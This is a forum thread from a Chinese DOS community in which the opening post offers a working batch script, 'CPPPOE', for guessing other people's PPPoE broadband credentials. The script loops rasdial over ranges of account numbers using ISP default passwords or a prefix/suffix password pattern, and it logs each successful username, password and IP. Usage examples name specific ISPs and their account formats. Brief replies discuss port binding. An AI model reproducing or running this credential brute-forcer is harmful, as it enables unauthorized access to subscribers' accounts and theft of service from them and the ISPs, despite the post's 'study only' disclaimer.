中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: 破解宽带帐号 上一主题 | 下一主题
sokon
新手上路





积分 14
发帖 5
注册 2007-12-30
状态 离线
『楼 主』:  破解宽带帐号

小菜鸟自己写的猜解宽带密码批处理,请大家帮忙完善。

以前用过一个类似的程序,不过总是觉得它不够完善,尤其是不支持前/后缀生成密码的方式,很想重写一个,可惜本人对计算机语言不精通,不会编程,只好作罢。前天在网上看到一个批处理 “SBaidu v1.0 by blackhorse”,大受启发,于是就写了这个批处理。感谢qq43142691提供的获取拨号IP的代码!

基本思路是调用系统已有的拨号连接进行密码猜解,如果连接成功就记录用户名、密码和获得的IP。系统中必须有一个名为"CPPPOE"的宽带连接,其次使用的时候请确保你的电脑没有使用其他拨号连接。(也就是你的电脑没有拨号上网,下线了。)

目前支持两种猜解方式。

1.固定密码方式:很多地方的ISP默认密码都是一样的,比如123456、12345678,而大多数人并不会修改这个默认密码。所以用固定密码去猜解宽带帐号成功率是非常高的。

2.前/后缀密码方式:这个方式适合某些地方的ISP,比如我所在的地方,默认密码就是 adsl+电话号码。也就是说在电话号码的基础上多了一个前缀 adsl。

应用示例:
1.需要用密码"123456"去尝试猜解 cd87650000 - cd87659999 这些帐号(成都电信)。
  选择"固定密码方式",固定密码"123456",起始帐号"87650000"、结束帐号"87659999",
  帐号前缀"cd",帐号后缀为空

2.需要用密码"123456"去尝试猜解 00100000@pppoe - 00109999@pppoe 这些帐号(成都铁通)。
  选择"固定密码方式",固定密码"123456",起始帐号"100000",结束帐号"109999",帐号前缀"00",
  帐号后缀"@pppoe"(注意!数字"0"开头的帐号,"0"必须做为前缀!!)

3.帐号 xx2220000 - xx2229999,可能对应的密码为 adsl2220000 - adsl2229999。(某地电信)
  选择"前/后缀密码方式",密码前缀"adsl",密码后缀为空,起始帐号"2220000",结束帐号
  "2229999",帐号前缀"xx",帐号后缀为空
@echo off
cls
title CPPPOE V0.9  by sokon
echo 宽带密码猜解 CPPPOE V0.9  by sokon
echo.
echo 仅供学习研究之用,不得用于非法目的!
echo 使用者需自行承担可能造成的所有法律责任!
echo 转载请注明来源并保留全部说明!
echo.
echo.

:start
setlocal
set dialname=
set function=
set no1=
set no2=
set nofixl=
set nofixr=
set password=
set passfixl=
set passfixr=
set user=
set pass=

set/p dialname=请输入宽带连接名(默认为CPPPOE):
if "%dialname%"=="" set dialname=CPPPOE
:function
set/p function=请选择猜解方式(1.固定密码方式  2.前/后缀密码方式):
if "%function%"=="1" goto function1
if "%function%"=="2" goto function2
echo 输入错误!&echo.&goto function
:function1
set/p password=请输入完整的固定密码:
if "%password%"=="" echo 密码不能为空!&echo.&goto function1
goto functionend
:function2
set/p passfixl=请输入密码前缀(如果没有前缀,请直接回车):
set/p passfixr=请输入密码后缀(如果没有后缀,请直接回车):
:functionend
goto no_input
:no_input_back

set i=%no1%

rasphone -h %dialname%>nul
set ip=
title CPPPOE V0.9  by sokon  (%no1% - %no2%)
set pass=%password%

:RT
:pass
if "%function%"=="1" goto user
set pass=%passfixl%%i%%passfixr%
:user
set user=%nofixl%%i%%nofixr%

echo 正在尝试 帐号:%user% 密码:%pass% ...
rasphone -h %dialname>nul
rasdial %dialname% %user% %pass%>nul
for /f "tokens=1" %%b in ('rasdial^|find /i "%dialname%"') do (goto success)
:continue
if %i%==%no2% goto end
set /a i+=1
goto RT
:success
for /f "tokens=15" %%a in ('ipconfig^|find /i "ip address"') do (set ip=%%a)
echo %date% %time% %user% %pass% %ip%>>result.txt
echo 连接成功! IP为 %ip%
rasphone -h %dialname%>nul
ping -n 2 127.1>nul
goto continue

:no_input
:no1
set/p no1=请输入起始帐号(只能为非0开头的数字,如有0开头,稍后请将0作为前缀输入):
if "%no1%"=="" echo 起始帐号不能为空!&echo.&goto no1
set/p no2=请输入结束帐号(只能为非0开头的数字,如有0开头,稍后请将0作为前缀输入):
if "%no2%"=="" echo 结束帐号不能为空!&echo.&goto no2
set/p nofixl=请输入帐号前缀(如果没有前缀,请直接回车):
set/p nofixr=请输入帐号后缀(如果没有后缀,请直接回车):
:no_input_end
goto no_input_back

:end
endlocal
[ Last edited by sokon on 2007-12-31 at 01:29 PM ]

2007-12-30 22:51
查看资料  发短消息 网志   编辑帖子  回复  引用回复
junchen2
高级用户





积分 537
发帖 219
注册 2007-8-4
来自 杭州--半山
状态 离线
『第 2 楼』:  

电信好象实行了端口与帐户的绑定

2007-12-31 12:49
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
sokon
新手上路





积分 14
发帖 5
注册 2007-12-30
状态 离线
『第 3 楼』:  

据我了解,部份城市的ISP进行了端口绑定。

2007-12-31 13:20
查看资料  发短消息 网志   编辑帖子  回复  引用回复
gne
初级用户




积分 77
发帖 45
注册 2007-8-3
状态 离线
『第 4 楼』:  

真的行吗

2007-12-31 19:45
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: